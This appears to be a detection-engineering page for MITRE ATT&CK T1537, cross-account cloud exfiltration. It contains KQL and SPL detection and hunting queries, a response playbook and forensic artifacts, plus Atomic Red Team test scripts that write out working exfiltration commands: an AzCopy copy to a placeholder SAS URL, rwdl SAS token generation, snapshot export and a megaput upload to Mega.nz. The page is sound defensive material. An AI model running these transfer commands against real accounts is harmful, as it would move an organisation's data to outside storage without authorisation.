T1537

Transfer Data to Cloud Account

Exfiltration Last updated:

Adversaries may exfiltrate data by transferring it to another cloud account they control on the same service. This technique abuses native cloud APIs, storage sharing mechanisms, and CLI tools (such as AzCopy, megatools, or AWS CLI) to move data across cloud account boundaries while blending into normal cloud traffic. Detection is complicated because the traffic stays within the provider's internal network and may not trigger perimeter data loss controls. Common methods include: sharing VM disk snapshots or AMIs to attacker-controlled accounts, generating shared access signature (SAS) URIs or pre-signed S3 URLs for anonymous access, using AzCopy or AWS S3 sync to copy storage contents cross-account, and creating cloud instance backups then exporting them to external subscriptions.

What is T1537 Transfer Data to Cloud Account?

Transfer Data to Cloud Account (T1537) maps to the Exfiltration tactic — the adversary is trying to steal data in MITRE ATT&CK.

This page provides production-ready detection logic for Transfer Data to Cloud Account, covering the data sources and telemetry it touches: Process: Process Creation, Command: Command Execution, Microsoft Defender for Endpoint, Cloud Storage: Cloud Storage Access. The queries below are rated high severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Exfiltration
Technique
T1537 Transfer Data to Cloud Account
Canonical reference
https://attack.mitre.org/techniques/T1537/
Microsoft Sentinel / Defender
kusto 
// Union of multiple T1537 detection signals: AzCopy exfil, SAS token abuse, snapshot sharing, and anomalous storage copy
let LookbackWindow = 24h;
let KnownStorageAccounts = dynamic([]);  // Populate with your org's known storage account hostnames
// Signal 1: AzCopy execution with external cloud storage destinations
let AzCopySignal = DeviceProcessEvents
| where Timestamp > ago(LookbackWindow)
| where FileName =~ "azcopy.exe" or ProcessCommandLine has_cs "azcopy"
| where ProcessCommandLine has_any ("copy", "sync", "cp", "make")
| extend DestURL = extract(@"(?:copy|sync|cp|make)\s+(?:'[^']+'|\"[^\"]+\"|\S+)\s+(?:'([^']+)'|\"([^\"]+)\"|([^\s]+))", 1, ProcessCommandLine)
| extend HasExternalBlob = ProcessCommandLine has "blob.core.windows.net" and not(ProcessCommandLine has_any (KnownStorageAccounts))
| extend HasMegaUpload = ProcessCommandLine has_any ("mega.nz", "mega.co.nz", "megatools", "megaput", "megacopy")
| extend HasS3External = ProcessCommandLine has_any ("s3://", "s3.amazonaws.com") and ProcessCommandLine has_any ("--source-account", "--destination-account", "cross-account")
| where HasExternalBlob or HasMegaUpload or HasS3External
| extend SignalType = "AzCopy_Exfil"
| project Timestamp, DeviceName, AccountName, SignalType, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, AdditionalFields;
// Signal 2: Azure SAS token generation via PowerShell or Azure CLI
let SASTokenSignal = DeviceProcessEvents
| where Timestamp > ago(LookbackWindow)
| where FileName in~ ("powershell.exe", "pwsh.exe", "az.cmd", "az", "python.exe", "python3")
| where ProcessCommandLine has_any (
    "New-AzStorageBlobSASToken",
    "New-AzStorageContainerSASToken",
    "New-AzStorageAccountSASToken",
    "az storage blob generate-sas",
    "az storage container generate-sas",
    "az storage account generate-sas",
    "GenerateSasUri",
    "generate-sas"
  )
| where ProcessCommandLine has_any ("--expiry", "-ExpiryTime", "--permissions", "rwdl", "racwdl")
| extend SignalType = "SAS_Token_Generation"
| project Timestamp, DeviceName, AccountName, SignalType, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, AdditionalFields;
// Signal 3: Cloud snapshot or disk image creation/export commands
let SnapshotSignal = DeviceProcessEvents
| where Timestamp > ago(LookbackWindow)
| where FileName in~ ("powershell.exe", "pwsh.exe", "az.cmd", "aws.exe", "python.exe")
| where ProcessCommandLine has_any (
    "az snapshot create",
    "az disk create",
    "az snapshot grant-access",
    "New-AzSnapshot",
    "Grant-AzSnapshotAccess",
    "ec2 copy-snapshot",
    "ec2 modify-snapshot-attribute",
    "ec2 create-image",
    "ec2 modify-image-attribute",
    "CreateSnapshot",
    "CopySnapshot"
  )
| extend SignalType = "Snapshot_Export"
| project Timestamp, DeviceName, AccountName, SignalType, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, AdditionalFields;
// Signal 4: Mega cloud upload tools
let MegaSignal = DeviceProcessEvents
| where Timestamp > ago(LookbackWindow)
| where FileName in~ ("megacopy.exe", "megaput.exe", "megals.exe", "MegaSync.exe", "megatools.exe", "megacmd.exe", "mega-put", "mega-copy")
    or ProcessCommandLine has_any ("mega.nz", "megatools", "megacopy", "megaput", "MegaSync")
| extend SignalType = "Mega_Upload"
| project Timestamp, DeviceName, AccountName, SignalType, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, AdditionalFields;
// Combine all signals
union AzCopySignal, SASTokenSignal, SnapshotSignal, MegaSignal
| sort by Timestamp desc

Detects cloud-to-cloud data transfer exfiltration using four signal types: (1) AzCopy execution targeting external Azure Blob Storage accounts outside known organizational storage, (2) generation of Azure SAS tokens or pre-signed URLs that enable anonymous access to cloud data, (3) cloud disk snapshot creation and export commands targeting external accounts via Azure CLI, AWS CLI, or PowerShell, and (4) Mega.nz upload tool execution. Requires populating KnownStorageAccounts with your organization's legitimate Azure storage hostnames. Uses DeviceProcessEvents from Microsoft Defender for Endpoint.

high severity medium confidence

Data Sources

Process: Process Creation Command: Command Execution Microsoft Defender for Endpoint Cloud Storage: Cloud Storage Access

Required Tables

DeviceProcessEvents

False Positives

  • Legitimate cloud migration projects using AzCopy to transfer data between organizational Azure subscriptions owned by different teams or business units
  • Backup and disaster recovery tools that create and export VM snapshots to secondary Azure subscriptions or storage accounts as part of approved BCP/DR procedures
  • DevOps pipelines and infrastructure-as-code workflows generating SAS tokens programmatically for legitimate cross-service data access (e.g., CI/CD artifact storage)
  • Data engineering teams using Mega or other cloud storage services for approved data sharing with external partners or contractors
  • Azure Site Recovery and Azure Backup services that internally use snapshot APIs for replication to paired regions

Sigma rule & cross-platform mapping

The detection logic for Transfer Data to Cloud Account (T1537) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource: 

logsource:
  category: process_creation
  product: windows

Browse the community-maintained Sigma rules for this technique:

SigmaHQ rules for T1537 Sigma rules on detection.fyi

Platform-specific guides for T1537

Detect in Microsoft Sentinel (KQL) Detect in Splunk (SPL) Detect in Elastic Security (Elastic) Detect in IBM QRadar (QRadar) Detect in Sumo Logic CSE (Sumo) Detect in Google Chronicle (YARA-L) Detect in CrowdStrike LogScale (LogScale)
Last updated: 2026-04-20 Research depth: deep
References (12)

Testing Methodology

Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1AzCopy Transfer to External Azure Blob Storage

    Expected signal: Sysmon Event ID 1: Process Create with Image=azcopy.exe (or azcopy path), CommandLine containing 'copy' and 'blob.core.windows.net' with a SAS token signature. Sysmon Event ID 3: Network Connection from azcopy.exe to TESTACCOUNT.blob.core.windows.net:443. Sysmon Event ID 11: File access events for the source files being read. AzCopy job log created at %USERPROFILE%\.azcopy\*.log.

  2. Test 2Azure SAS Token Generation via PowerShell

    Expected signal: Sysmon Event ID 1: Process Create with Image=powershell.exe, CommandLine containing 'New-AzStorageContainerSASToken', '-Permission', 'rwdl', and '-ExpiryTime'. PowerShell ScriptBlock Log Event ID 4104 with full script contents including the SAS generation call. Sysmon Event ID 3: Network connection from powershell.exe to management.azure.com:443 for the Az module API calls.

  3. Test 3Azure Snapshot Creation and Export via Azure CLI

    Expected signal: Sysmon Event ID 1 (two events): (1) az.cmd process with CommandLine 'az snapshot create ... --source /subscriptions/...'. (2) az.cmd with CommandLine 'az snapshot grant-access ... --duration-in-seconds 3600'. Sysmon Event ID 3: Network connections from az.cmd to management.azure.com:443. Azure Activity Log entries: OperationName=Microsoft.Compute/snapshots/write (Success) and Microsoft.Compute/snapshots/beginGetAccess/action (Success) — visible in AzureActivity table in Log Analytics within ~5 minutes.

  4. Test 4Mega.nz Upload Tool Execution (megatools)

    Expected signal: Sysmon for Linux (or auditd) process creation event: Image=/usr/bin/megaput, CommandLine containing '--username', '--path', and the local file path. Sysmon Event ID 3 (Linux): Network connection from megaput to g.api.mega.co.nz:443 (initial API auth) and *.userstorage.mega.co.nz:443 (actual upload). Auditd SYSCALL record type=EXECVE with megaput binary. Linux /var/log/auth.log or syslog may record the process execution depending on auditing configuration.

Response Playbook

Triage

  1. Identify the full command line of the detected process — determine the exact source and destination of the data transfer. For AzCopy, extract the source URL/path and destination URL. Check if the destination storage account hostname is in your organization's known asset inventory.
  2. Determine who ran the command — check AccountName/User against HR records and cloud identity inventory. Service accounts running AzCopy or snapshot exports unexpectedly are high-priority. Verify if the user has an open change ticket or data migration project that explains this activity.
  3. Assess the data volume and sensitivity — for AzCopy and snapshot operations, pivot to network events or cloud audit logs to determine how much data was transferred. Query CloudAppEvents or AzureActivity for the same timeframe. Snapshot exports can contain full OS disk images including credentials and application data.
  4. Check if the destination cloud account is organizational — for Azure, look up the destination subscription/tenant ID in Azure Active Directory. For AWS, check if the target account ID is in your AWS Organizations. An unknown account ID is a critical indicator of exfiltration.
  5. Review the initiating process context — was AzCopy or the cloud CLI launched from an interactive terminal, a script, a scheduled task, or spawned by a suspicious parent (e.g., cmd.exe child of a web server, or PowerShell from an Office process)?
  6. Correlate with recent authentication events — check AADSignInLogs or SigninLogs for the same user around the same time. Look for impossible travel, unfamiliar device logins, or MFA bypass indicators that suggest the account was compromised before the transfer.

Containment

  1. If exfiltration to external account is confirmed: immediately revoke any SAS tokens generated by the user. Navigate to Azure Portal > Storage Account > Shared Access Signatures and invalidate by rotating the storage account keys (this invalidates all existing SAS tokens for that account).
  2. Suspend the compromised user account in Azure AD or AWS IAM: use 'az ad user update --id <upn> --account-enabled false' or AWS 'iam attach-user-policy --policy-arn arn:aws:iam::aws:policy/AWSDenyAll'. This prevents further cloud API calls.
  3. Revoke all active sessions for the compromised identity: in Azure AD run 'Revoke-AzureADUserAllRefreshToken -ObjectId <user-object-id>'. In AWS, detach all inline policies and rotate IAM access keys.
  4. If a VM snapshot was shared externally: immediately modify the snapshot permissions to remove external account access using 'aws ec2 modify-snapshot-attribute --attribute createVolumePermission --operation-type remove' or 'az snapshot revoke-access'. Document the snapshot content to understand what data was exposed.
  5. Isolate the endpoint where the cloud CLI or AzCopy was executed using EDR isolation to prevent further command-and-control activity or additional exfiltration attempts.
  6. Enable Azure Storage firewall rules or S3 bucket policies to restrict access to known organizational IP ranges and VNet service endpoints, preventing access from attacker-controlled infrastructure even if credentials are still valid.

Evidence Collection

  1. AzCopy log files — AzCopy writes detailed transfer logs to %USERPROFILE%\.azcopy\ on Windows and ~/.azcopy/ on Linux. These JSON-formatted logs contain source/destination URLs, bytes transferred, file counts, and timestamps for each transfer operation.
  2. Azure Activity Log — query AzureActivity table in Log Analytics for the affected subscription. Filter on Caller matching the compromised identity and OperationNameValue containing 'MICROSOFT.STORAGE', 'MICROSOFT.COMPUTE/SNAPSHOTS', or 'MICROSOFT.COMPUTE/DISKS'. This shows all cloud control-plane actions.
  3. Azure Storage Diagnostic Logs — enable and collect StorageBlobLogs from the affected storage accounts. These show individual blob read/copy operations including the requester IP and bytes transferred. Available in Log Analytics as StorageBlobLogs table.
  4. Process execution artifacts — Sysmon Event ID 1 logs from the endpoint, Windows Security Event ID 4688 (with process command line auditing), and PowerShell ScriptBlock logs (Event ID 4104) if PowerShell was used to invoke cloud APIs.
  5. Network connection events — Sysmon Event ID 3 for outbound connections from azcopy.exe, az.exe, aws.exe, or python.exe to cloud storage endpoints (*.blob.core.windows.net, *.s3.amazonaws.com, g.api.mega.co.nz).
  6. Cloud IAM audit logs — AWS CloudTrail or Azure AD Audit Logs showing when credentials used for the transfer were issued, whether MFA was used, and source IP of the authenticating session.
  7. File system timeline — check prefetch files at C:\Windows\Prefetch\AZCOPY.EXE-*.pf for first/last execution timestamps. Review $MFT for recently accessed files that may have been staged for exfiltration.
  8. Browser history and download artifacts — if SAS URIs were accessed via browser, collect browser history and downloads from the endpoint to identify if the user received exfiltration instructions or opened phishing content.

Escalation Criteria

  • ! Confirmed data transfer to a cloud account in an unknown or unregistered tenant/subscription — this is unambiguous exfiltration and requires immediate IR escalation.
  • ! VM disk snapshot or AMI shared to external AWS account or Azure subscription — disk images contain full OS state including cached credentials, browser profiles, application secrets, and potentially PII or regulated data.
  • ! AzCopy transfer of >1 GB to external destination — volume threshold indicates deliberate bulk exfiltration rather than accidental misconfiguration.
  • ! SAS token generated with 'rwdl' (read/write/delete/list) permissions or long expiry (>24h) pointing to external or unauthorized storage — these tokens function as persistent backdoors to your storage data.
  • ! Mega.nz upload tool execution on a corporate endpoint — consumer cloud sync tools have no legitimate business use on managed endpoints and indicate data staging for exfiltration.
  • ! Transfer activity following lateral movement indicators (new logon from unusual source IP, privilege escalation, credential dumping) — indicates coordinated attack rather than accidental misconfiguration.

Investigation Guide

Forensic Artifacts

  • > AzCopy job log files: %USERPROFILE%\.azcopy\*.log (Windows) or ~/.azcopy/*.log (Linux/macOS) — JSON format with per-file transfer records, source/destination URLs, bytes transferred, and error codes
  • > Azure CLI token cache: %USERPROFILE%\.azure\msal_token_cache.json (Windows) or ~/.azure/msal_token_cache.json — contains OAuth tokens for Azure subscriptions the user authenticated to, revealing which accounts were accessed
  • > AWS CLI credentials and config: %USERPROFILE%\.aws\credentials and ~/.aws/credentials — IAM access key IDs and regions configured, may reveal non-organizational profiles
  • > AWS CLI command history: ~/.aws/cli/history — tracks recent AWS CLI commands with timestamps if command recording is enabled
  • > PowerShell history: %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt — captures all interactive PowerShell commands including cloud CLI invocations
  • > Azure Activity Log (cloud-side): retention in Log Analytics workspace, OperationNameValue for storage and compute operations with Caller identity and ClientIpAddress
  • > AWS CloudTrail (cloud-side): S3/EC2 data events showing GetObject, CopyObject, ModifySnapshotAttribute API calls with sourceIPAddress and userAgent fields
  • > Prefetch files: C:\Windows\Prefetch\AZCOPY.EXE-*.pf, MEGACOPY.EXE-*.pf — execution timestamps and DLLs loaded
  • > Windows registry: HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs — recently accessed files that may have been staged for exfiltration
  • > Network proxy logs: outbound connections to *.blob.core.windows.net, *.s3.amazonaws.com, *.s3-*.amazonaws.com, g.api.mega.co.nz, *.userstorage.mega.co.nz with large response bodies (PUT requests)

Tuning Guidance

This detection requires significant environment-specific tuning to reduce false positives from legitimate cloud operations. Start by inventorying all approved cloud CLI usage: identify which service accounts run AzCopy or AWS CLI, from which hosts, and to which destinations. Build a dynamic exclusion list of known organizational storage account hostnames (e.g., orgname.blob.core.windows.net) and add these to the KnownStorageAccounts variable in the KQL query. For the SAS token detection, consider adding a time-based filter to only alert outside business hours or for SAS tokens with unusually long expiry periods (>72 hours). The snapshot export signal generates high false positives in environments using Azure Backup or Azure Site Recovery — identify the service principal names used by these services and exclude them by AccountName. For the Mega detection signal, this should have very low false positives on managed corporate endpoints and can be treated as high confidence if Mega clients are not authorized. Monitor the AzureActivity hunting query in alert mode only after establishing baselines for normal snapshot operations in your subscription — snapshot backup jobs typically run at consistent times from known service principals.

Hunting Queries

Hunt for all cloud CLI tool executions across the estate over the past 7 days. Baseline: cloud CLI tools should only be used by approved cloud operations teams from specific service accounts or jump hosts. An interactive user account running AzCopy or AWS CLI on a standard workstation is anomalous and warrants investigation.

Hunting — KQL
kql 
// Hunt: Identify cloud CLI tools (AzCopy, AWS CLI, Azure CLI) run by non-service-account users on endpoints
// Focus on interactive user sessions that may indicate hands-on-keyboard exfiltration
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("azcopy.exe", "az.cmd", "az", "aws.exe", "awscli.exe")
    or (FileName in~ ("powershell.exe", "pwsh.exe") 
        and ProcessCommandLine has_any ("AzCopy", "az storage", "az snapshot", "New-AzStorage", "aws s3", "aws ec2", "Grant-AzSnapshot"))
| summarize
    ExecutionCount = count(),
    UniqueDevices = dcount(DeviceName),
    CommandSamples = make_set(ProcessCommandLine, 5),
    FirstSeen = min(Timestamp),
    LastSeen = max(Timestamp)
    by AccountName, FileName
| where ExecutionCount > 0
| order by ExecutionCount desc
Hunting — SPL
spl 
index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1
  earliest=-7d
  (Image="*\\azcopy.exe" OR Image="*\\az.cmd" OR Image="*\\aws.exe"
   OR (Image="*\\powershell.exe" 
       AND (CommandLine="*azcopy*" OR CommandLine="*az storage*" OR CommandLine="*az snapshot*" 
            OR CommandLine="*New-AzStorage*" OR CommandLine="*aws s3*" OR CommandLine="*aws ec2*")))
| stats
    count as ExecutionCount,
    dc(host) as UniqueDevices,
    values(CommandLine) as CommandSamples,
    earliest(_time) as FirstSeen,
    latest(_time) as LastSeen
    by User, Image
| sort - ExecutionCount

Hunt for non-standard processes making HTTPS connections to cloud object storage providers. Legitimate cloud sync clients (OneDrive, Google Drive, Dropbox) are excluded. Processes like azcopy.exe, python.exe, powershell.exe, or cmd.exe connecting to blob storage or S3 with high byte counts are strong indicators of data exfiltration. Customize the exclusion list for approved cloud sync tools in your environment.

Hunting — KQL
kql 
// Hunt: Detect outbound network connections to cloud storage providers from unexpected processes
// AzCopy, AWS CLI, and similar tools make direct HTTPS connections to storage endpoints
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemoteUrl has_any (
    ".blob.core.windows.net",
    ".s3.amazonaws.com",
    ".s3-",
    "storage.googleapis.com",
    ".userstorage.mega.co.nz",
    "g.api.mega.co.nz",
    ".backblazeb2.com"
  )
| where RemotePort == 443
| where InitiatingProcessFileName !in~ (
    // Exclude expected cloud sync clients - customize for your environment
    "OneDrive.exe", "googledrivesync.exe", "dropbox.exe", "boxsync.exe"
  )
| summarize
    ConnectionCount = count(),
    TotalBytesSent = sum(SentBytes),
    UniqueDestinations = dcount(RemoteUrl),
    DestinationSample = make_set(RemoteUrl, 5)
    by DeviceName, AccountName, InitiatingProcessFileName, InitiatingProcessCommandLine
| where TotalBytesSent > 10485760  // >10MB sent to cloud storage
| sort by TotalBytesSent desc
Hunting — SPL
spl 
index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=3
  earliest=-7d
  (DestinationHostname="*.blob.core.windows.net" OR DestinationHostname="*.s3.amazonaws.com"
   OR DestinationHostname="*.userstorage.mega.co.nz" OR DestinationHostname="g.api.mega.co.nz"
   OR DestinationHostname="storage.googleapis.com" OR DestinationHostname="*.backblazeb2.com")
  NOT (Image="*\\OneDrive.exe" OR Image="*\\googledrivesync.exe" OR Image="*\\dropbox.exe")
  DestinationPort=443
| stats
    count as ConnectionCount,
    dc(DestinationHostname) as UniqueDestinations,
    values(DestinationHostname) as Destinations
    by host, User, Image, CommandLine
| where ConnectionCount > 5
| sort - ConnectionCount

Hunt for Azure control-plane API calls related to snapshot creation, disk export, and storage key/SAS token generation. Legitimate snapshot operations are typically infrequent and associated with backup jobs. Multiple snapshot or disk access operations from the same caller within an hour, especially combined with storage key listing, indicate reconnaissance and staging for cloud-to-cloud exfiltration. Requires Azure Activity logs forwarded to Log Analytics or Splunk.

Hunting — KQL
kql 
// Hunt: Detect Azure snapshot or disk export API calls in Azure Activity logs
// These operations can transfer full VM disk images to attacker-controlled subscriptions
AzureActivity
| where TimeGenerated > ago(7d)
| where OperationNameValue in~ (
    "MICROSOFT.COMPUTE/SNAPSHOTS/WRITE",
    "MICROSOFT.COMPUTE/SNAPSHOTS/BEGINGETACCESS/ACTION",
    "MICROSOFT.COMPUTE/SNAPSHOTS/ENDGETACCESS/ACTION",
    "MICROSOFT.COMPUTE/DISKS/BEGINGETACCESS/ACTION",
    "MICROSOFT.COMPUTE/DISKS/WRITE",
    "MICROSOFT.STORAGE/STORAGEACCOUNTS/LISTKEYS/ACTION",
    "MICROSOFT.STORAGE/STORAGEACCOUNTS/LISTSASTOKEN/ACTION"
  )
| where ActivityStatusValue =~ "Success"
| extend CallerIpAddress = tostring(parse_json(HTTPRequest).clientIpAddress)
| summarize
    OperationCount = count(),
    OperationTypes = make_set(OperationNameValue),
    SourceIPs = make_set(CallerIpAddress),
    Resources = make_set(ResourceId, 10)
    by Caller, bin(TimeGenerated, 1h)
| where OperationCount > 2
| sort by OperationCount desc
Hunting — SPL
spl 
index=azure sourcetype="azure:activity"
  earliest=-7d
  (operationName="Microsoft.Compute/snapshots/write"
   OR operationName="Microsoft.Compute/snapshots/beginGetAccess/action"
   OR operationName="Microsoft.Compute/disks/beginGetAccess/action"
   OR operationName="Microsoft.Storage/storageAccounts/listKeys/action"
   OR operationName="Microsoft.Storage/storageAccounts/listSASToken/action")
  status="Succeeded"
| stats
    count as OperationCount,
    values(operationName) as OperationTypes,
    values(callerIpAddress) as SourceIPs,
    values(resourceId) as AffectedResources
    by caller, bin(_time, 3600)
| where OperationCount > 2
| sort - OperationCount

Atomic Red Team Tests

Test 1 AzCopy Transfer to External Azure Blob Storage
windows

Simulates adversary use of AzCopy to copy data from a local directory to an external Azure Blob Storage container. This replicates the Storm-0501 and similar threat actor TTPs where AzCopy CLI is leveraged for bulk data exfiltration. The test uses a SAS token (which must be pre-generated for the test container) to authenticate to the destination. Replace the destination URL with a test storage account you control.

Command

powershell 
# First, download AzCopy if not present
# Invoke-WebRequest -Uri 'https://aka.ms/downloadazcopy-v10-windows' -OutFile azcopy.zip; Expand-Archive azcopy.zip

# Create a test file to transfer
New-Item -Path $env:TEMP\df00tech-exfil-test -ItemType Directory -Force
Write-Output 'Test exfiltration content for T1537 atomic test' | Out-File $env:TEMP\df00tech-exfil-test\test.txt

# Simulate AzCopy copy to external storage (destination is a test account you control)
# Replace the SAS URL with your test container SAS URL
azcopy copy "$env:TEMP\df00tech-exfil-test\*" "https://TESTACCOUNT.blob.core.windows.net/TESTCONTAINER?sv=2021-06-08&ss=b&srt=co&sp=rwdlacx&se=2026-12-31T00:00:00Z&st=2026-01-01T00:00:00Z&spr=https&sig=YOURSIG" --recursive

Cleanup

powershell 
Remove-Item $env:TEMP\df00tech-exfil-test -Recurse -Force -ErrorAction SilentlyContinue

Expected Telemetry

Sysmon Event ID 1: Process Create with Image=azcopy.exe (or azcopy path), CommandLine containing 'copy' and 'blob.core.windows.net' with a SAS token signature. Sysmon Event ID 3: Network Connection from azcopy.exe to TESTACCOUNT.blob.core.windows.net:443. Sysmon Event ID 11: File access events for the source files being read. AzCopy job log created at %USERPROFILE%\.azcopy\*.log.

Expected Detection

KQL: AzCopySignal branch triggers on FileName=azcopy.exe with ProcessCommandLine containing 'blob.core.windows.net'. If TESTACCOUNT is not in KnownStorageAccounts, HasExternalBlob=true fires the alert. SPL: AzCopy_Exfil branch matches on Image=*\azcopy.exe with CommandLine containing blob.core.windows.net.

Test 2 Azure SAS Token Generation via PowerShell
windows

Simulates adversary generation of a Shared Access Signature (SAS) token to create an anonymous, externally-shareable URL pointing to organizational Azure storage. SAS tokens are a key enabler of T1537 — once generated, the adversary can share the URL or use it to copy data from any machine without further authentication. This test requires Az PowerShell module and existing Azure authentication.

Command

powershell 
# Requires: Az PowerShell module (Install-Module Az -Scope CurrentUser)
# Requires: Connect-AzAccount (authenticate to Azure first)

# Generate a SAS token for a blob container (replace with your test storage account)
$context = New-AzStorageContext -StorageAccountName 'YOURTESTACCOUNT' -UseConnectedAccount
$sasToken = New-AzStorageContainerSASToken `
    -Context $context `
    -Name 'YOURCONTAINER' `
    -Permission 'rwdl' `
    -ExpiryTime (Get-Date).AddHours(24)

Write-Output "SAS Token generated: $sasToken"
Write-Output "Full SAS URL: https://YOURTESTACCOUNT.blob.core.windows.net/YOURCONTAINER$sasToken"

Cleanup

powershell 
# SAS token expires automatically based on -ExpiryTime parameter
# To invalidate immediately, rotate the storage account key:
# New-AzStorageAccountKey -ResourceGroupName 'YOURRESOURCEGROUP' -Name 'YOURTESTACCOUNT' -KeyName 'key1'

Expected Telemetry

Sysmon Event ID 1: Process Create with Image=powershell.exe, CommandLine containing 'New-AzStorageContainerSASToken', '-Permission', 'rwdl', and '-ExpiryTime'. PowerShell ScriptBlock Log Event ID 4104 with full script contents including the SAS generation call. Sysmon Event ID 3: Network connection from powershell.exe to management.azure.com:443 for the Az module API calls.

Expected Detection

KQL: SASTokenSignal branch triggers on ProcessCommandLine has 'New-AzStorageContainerSASToken' combined with '-Permission' and 'rwdl'. SPL: SAS_Token_Generation branch matches on CommandLine containing 'New-AzStorageContainerSASToken'.

Test 3 Azure Snapshot Creation and Export via Azure CLI
windows

Simulates adversary creation of a VM disk snapshot and granting read access to export it — the method documented in the DOJ GRU indictment where adversaries created backups of cloud instances and transferred them to separate accounts. This test creates a snapshot from an existing disk (replace with your test disk resource ID) and grants access to generate an export URI.

Command

powershell 
# Requires: Azure CLI (az) authenticated with: az login
# Replace resource group, disk name, and subscription with your test values

# Step 1: Create a snapshot of a test disk
az snapshot create `
  --resource-group 'YOURRESOURCEGROUP' `
  --name 'df00tech-atomic-test-snapshot' `
  --source '/subscriptions/YOURSUB/resourceGroups/YOURRG/providers/Microsoft.Compute/disks/YOURDISK'

# Step 2: Grant export access (generates SAS URI - simulates adversary exfiltration step)
az snapshot grant-access `
  --resource-group 'YOURRESOURCEGROUP' `
  --name 'df00tech-atomic-test-snapshot' `
  --duration-in-seconds 3600

Write-Output 'Snapshot created and access SAS URI generated - T1537 atomic test complete'

Cleanup

powershell 
az snapshot revoke-access --resource-group 'YOURRESOURCEGROUP' --name 'df00tech-atomic-test-snapshot'
az snapshot delete --resource-group 'YOURRESOURCEGROUP' --name 'df00tech-atomic-test-snapshot'

Expected Telemetry

Sysmon Event ID 1 (two events): (1) az.cmd process with CommandLine 'az snapshot create ... --source /subscriptions/...'. (2) az.cmd with CommandLine 'az snapshot grant-access ... --duration-in-seconds 3600'. Sysmon Event ID 3: Network connections from az.cmd to management.azure.com:443. Azure Activity Log entries: OperationName=Microsoft.Compute/snapshots/write (Success) and Microsoft.Compute/snapshots/beginGetAccess/action (Success) — visible in AzureActivity table in Log Analytics within ~5 minutes.

Expected Detection

KQL: SnapshotSignal branch triggers on ProcessCommandLine has 'az snapshot create' and separately 'az snapshot grant-access'. SPL: Snapshot_Export branch matches on CommandLine containing 'az snapshot create' or 'az snapshot grant-access'. The AzureActivity hunting query detects both MICROSOFT.COMPUTE/SNAPSHOTS/WRITE and MICROSOFT.COMPUTE/SNAPSHOTS/BEGINGETACCESS/ACTION from the same Caller within the same hour.

Test 4 Mega.nz Upload Tool Execution (megatools)
linux

Simulates adversary use of megatools (open-source Mega.nz CLI) to upload files from a compromised endpoint to a Mega cloud account — a method documented in RedCurl threat actor operations. Megatools provides megaput, megacopy, and megasync commands that upload data to Mega.nz storage. This test requires a Mega.nz account (create a free test account for this purpose) and megatools installed.

Command

bash 
# Install megatools (Ubuntu/Debian)
sudo apt-get install -y megatools 2>/dev/null || sudo yum install -y megatools 2>/dev/null

# Create a test file
mkdir -p /tmp/df00tech-exfil-test
echo 'T1537 atomic test - Mega exfiltration simulation' > /tmp/df00tech-exfil-test/test.txt

# Upload to Mega.nz (replace with test account credentials)
# NOTE: Use a dedicated test Mega account, not a production account
megaput --username '[email protected]' --password 'YOURTESTPASSWORD' \
  --path /Root/df00tech-atomic-test \
  /tmp/df00tech-exfil-test/test.txt

echo 'Megaput execution completed - check process and network logs'

Cleanup

bash 
rm -rf /tmp/df00tech-exfil-test
# Delete the uploaded file from Mega:
# megarm --username '[email protected]' --password 'YOURTESTPASSWORD' /Root/df00tech-atomic-test/test.txt

Expected Telemetry

Sysmon for Linux (or auditd) process creation event: Image=/usr/bin/megaput, CommandLine containing '--username', '--path', and the local file path. Sysmon Event ID 3 (Linux): Network connection from megaput to g.api.mega.co.nz:443 (initial API auth) and *.userstorage.mega.co.nz:443 (actual upload). Auditd SYSCALL record type=EXECVE with megaput binary. Linux /var/log/auth.log or syslog may record the process execution depending on auditing configuration.

Expected Detection

KQL (if Linux endpoints report to MDE): FileName=megaput or ProcessCommandLine has 'megaput', triggers Mega_Upload signal. SPL: Mega_Upload_Tool branch matches on Image containing 'megaput' or CommandLine containing 'megatools'. Network-based detection: Sysmon Event ID 3 connection to g.api.mega.co.nz from a non-browser process.

Related Detections

Tactic Hub

TA0010Exfiltration

Detection Variants (2)

Different telemetry and tradecraft for the same technique — pick the one that matches the data you collect.

Related Techniques

T1567Exfiltration Over Web ServiceT1567.002Exfiltration to Cloud StorageT1530Data from Cloud StorageT1078.004Cloud AccountsT1552.001Credentials In FilesT1078Valid AccountsT1074.002Remote Data StagingT1485Data DestructionT1020Automated ExfiltrationT1619Cloud Storage Object Discovery

Same Tactic: Exfiltration

Popular Detections